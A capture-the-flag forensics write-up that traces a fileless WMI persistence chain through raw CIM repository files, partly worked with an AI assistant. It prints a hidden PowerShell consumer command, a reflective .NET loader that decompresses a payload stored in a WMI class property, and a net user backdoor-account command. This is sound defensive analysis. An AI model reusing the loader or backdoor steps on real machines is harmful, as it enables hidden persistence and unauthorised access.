Summary
Room: Hacker Holidays 2026 — After Hours (Forensics, Medium, 90 pts). The brief: a set of raw artifacts pulled off a resort back-office machine, no obvious persistence in the usual autoruns spots. Task is a three-step chain — find hidden config data, find the malicious class, decode the payload.
Turned out to be a fileless persistence chain: a legit-looking WMI class carrying
a Deflate-compressed .NET loader as a "static property", fired by an
__EventFilter / CommandLineEventConsumer pair with an innocuous name.
Pairing note
Worked this one with Claude driving the tooling side (flare-wmi setup, the Python 2→3 port, scripting the property dumps) while I drove the investigative direction and interpreted each result. Steps below are written so I can reproduce every one of them by hand next time, without the assist.
Artifact ID
Five files, no obvious extensions:
INDEX.BTR ~5.0 MB
MAPPING1.MAP ~78 KB
MAPPING2.MAP ~78 KB
MAPPING3.MAP ~78 KB
OBJECTS.DATA ~24.2 MB
First move on an unknown artifact set: check magic bytes before anything else.
$ od -A x -t x1z -v INDEX.BTR | head -1
000000 cc ac 00 00 4d 00 00 00 00 00 00 00 00 00 00 00 >....M...........<
$ od -A x -t x1z -v MAPPING1.MAP | head -1
000000 cd ab 00 00 57 54 00 00 7c 01 00 00 7b 01 00 00 >....WT..|...{...<
0xACCC and 0xABCD as little-endian 32-bit values are the documented
signatures for the Windows CIM (WMI) repository — this exact five-file set
(INDEX.BTR, OBJECTS.DATA, MAPPING[1-3].MAP) normally lives at
C:\Windows\System32\wbem\Repository\.
This lines up with the brief: WMI persistence via __EventFilter /
__EventConsumer chains (MITRE ATT&CK
T1546.003) is exactly the
blind spot that Autoruns-style tooling and the classic Run-key / Scheduled Task
/ Startup triad don't cover.
Recon: first persistence pass
Mandiant's flare-wmi toolkit is the reference here. Started with
davidpany/WMI_Forensics'
PyWMIPersistenceFinder.py — a single-file, regex-only scanner over
OBJECTS.DATA that needs no full repository parse.
Python 2 legacy tooling
Script is 2017-era Python 2 (.iteritems(), binary data read as str). Ported
to Python 3 by opening the file with encoding="latin-1" (round-trips every
byte value 1:1 to a str char) instead of "rb", and swapping .iteritems() →
.items(). A lot of real DFIR tooling is this vintage — porting it on the fly
is a normal part of the job, not a blocker.
$ python3 PyWMIPersistenceFinder_py3.py <repo-dir>/OBJECTS.DATA
Bindings:
SCM Event Log Consumer-SCM Event Log Filter
(Common binding based on consumer and filter names,
possibly legitimate)
Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~
Service Control Manager
Filter: SCM Event Log Filter / select * from MSFT_SCMEventLogEvent
One binding, and it's a stock Windows one. Negative result, but a useful one — confirms it's not a plain, easily-regex-matched binding, and rules out the "obvious" classic-persistence read. The scanner reads the file in 4-line binary chunks; if the target strings straddle a chunk boundary the way this challenge apparently arranged, it just won't see them. Good reminder not to trust a single tool's negative result.
Investigation: full repository parse
Time for the real parser. python-cim on PyPI is a stale fork (missing
CIM.from_path / guess_cim_type) — use the actual
mandiant/flare-wmi repo instead:
$ pip uninstall -y python-cim
$ git clone --depth 1 https://github.com/mandiant/flare-wmi.git
$ cd flare-wmi/python-cim && pip install -e .
timeline.py walks every ClassDefinition/ClassInstance timestamp in the
live repository — cheap, and a great first anomaly-hunting pass (this is
straight out of flare-wmi's own
wmikatz tutorial):
$ python3 timeline.py <repo-dir> > timeline.txt
$ tail -5 timeline.txt
2026-07-13T02:55:35Z ClassDefinition.timestamp \root\CIMV2:Win32_HardwareTelemetry
2026-07-13T02:55:35Z ClassInstance.timestamp1 \root\subscription:__EventFilter.Name=EngineTelemetryFilter
2026-07-13T02:55:35Z ClassInstance.timestamp1 \root\subscription:CommandLineEventConsumer.Name=EngineTelemetryConsumer
Every other entry in the 17k-line timeline clusters around normal
install/update timestamps. These three sit alone at 02:55 local — "after
hours", as advertised — and the names are the tell: EngineTelemetry* reads
as legit monitoring, and Win32_HardwareTelemetry mimics the native
Win32_* namespace convention closely enough to blend into a class list.
Pulled the filter/consumer pair directly (flare-wmi's
show_filtertoconsumerbindings.py sample only walks linked
__FilterToConsumerBinding instances, and this pair wasn't wired through one
— so a small custom script against the Namespace/class_() API was needed):
from cim import CIM
from cim.objects import Namespace
c = CIM("win7", "<repo-dir>")
with Namespace(c, "root\\subscription") as ns:
for inst in ns.class_("commandlineeventconsumer").instances:
for pname in inst.properties:
try:
print(pname, "=", inst.properties[pname].value)
except RuntimeError:
pass
CommandLineTemplate = cmd /C powershell.exe -Sta -Nop -Window Hidden -enc <base64>
Decoded the -enc blob (standard PowerShell UTF-16LE + base64):
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value
$d = New-Object IO.Compression.DeflateStream(
[IO.MemoryStream][Convert]::FromBase64String($file),
[IO.Compression.CompressionMode]::Decompress)
# ... reads $d fully into a MemoryStream $o ...
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))
That's the whole trick: pull ConfigData off the hijacked class, Deflate-
decompress it, reflectively load it as a .NET assembly in memory, run its
entry point. Nothing ever touches disk, which is exactly why Autoruns-class
tooling never had a chance.
Extracting the payload
ConfigData is a static property with a baked-in default value, so it lives
in the class definition itself rather than an instance — dump_class_layout.py
(flare-wmi sample) pulls it straight out:
$ python3 dump_class_layout.py win7 <repo-dir> "root\cimv2" "Win32_HardwareTelemetry"
properties:
name: ConfigData
type: CIM_TYPE_STRING
has default value: True
default value: <base64 blob, ~2.2 KB>
Decoded it exactly the way the loader script does:
import base64, zlib
raw = base64.b64decode(config_data_b64)
# .NET DeflateStream = raw deflate, no zlib header -> wbits=-15
d = zlib.decompressobj(-15)
out = d.decompress(raw) + d.flush()
print(out[:4]) # b'MZ\x90\x00' -> valid PE
Confirmed PE/.NET assembly (4127 bytes). Did not execute it — this is a
downloaded CTF artifact, but the habit that matters is: unknown payloads get
statically analyzed, never detonated, full stop. strings on both encodings
was enough:
$ strings -n 5 payload.bin # ascii: module/type/method names
$ strings -e l -n 4 payload.bin # utf-16le: .NET #US user-string heap
The UTF-16LE pass surfaced the actual behaviour: an Environment.MachineName
anti-sandbox check against a hardcoded hostname, and — once matched — a
cmd.exe /c net user patch <base64> /add call. The base64 in that command is
the flag, used as the throwaway backdoor account's password.
$ echo '<base64-encoded-flag>' | base64 -d
<FLAG>
Itinerary, in retrospect: (1) hidden config data = the ConfigData
static property, (2) malicious class = Win32_HardwareTelemetry /
its embedded .NET loader, (3) decode the payload = the net user
argument, base64-decoded.
Why this works
- WMI is a genuine blind spot. Run keys, Scheduled Tasks, and Startup are
the first three things any junior analyst (and most autoruns tooling)
checks.
__EventFilter→__FilterToConsumerBinding→__EventConsumerchains (T1546.003) live in a completely different subsystem with its own on-disk database format, and don't show up in any of those three views. - Naming as camouflage.
EngineTelemetryConsumer/Win32_HardwareTelemetryare deliberately unremarkable — they read as legitimate monitoring/inventory classes next to hundreds of genuineWin32_*entries. Anomaly-hunting by timestamp (rather than by name) is what actually surfaced them. - Fileless by design. Storing the payload as a class property and loading
it via
Reflection.Assembly.Load()from aMemoryStreammeans there's no binary on disk to hash, scan, or flag — the entire artifact only exists inside the CIM repository and process memory. - Environment-gated detonation. The hostname check is a cheap but effective anti-sandbox/anti-analysis gate — if you don't run it on the expected host, the interesting branch (and by extension, in a real incident, the actual malicious action) never fires.
Lessons / detection
- Broader takeaway for the SOC context: "not in the obvious three places" is precisely the kind of coverage gap that operational-resilience frameworks (DORA/NIS2 continuous-monitoring requirements) are meant to force organizations to close — logging coverage has to extend past endpoint AV and the usual autoruns surface.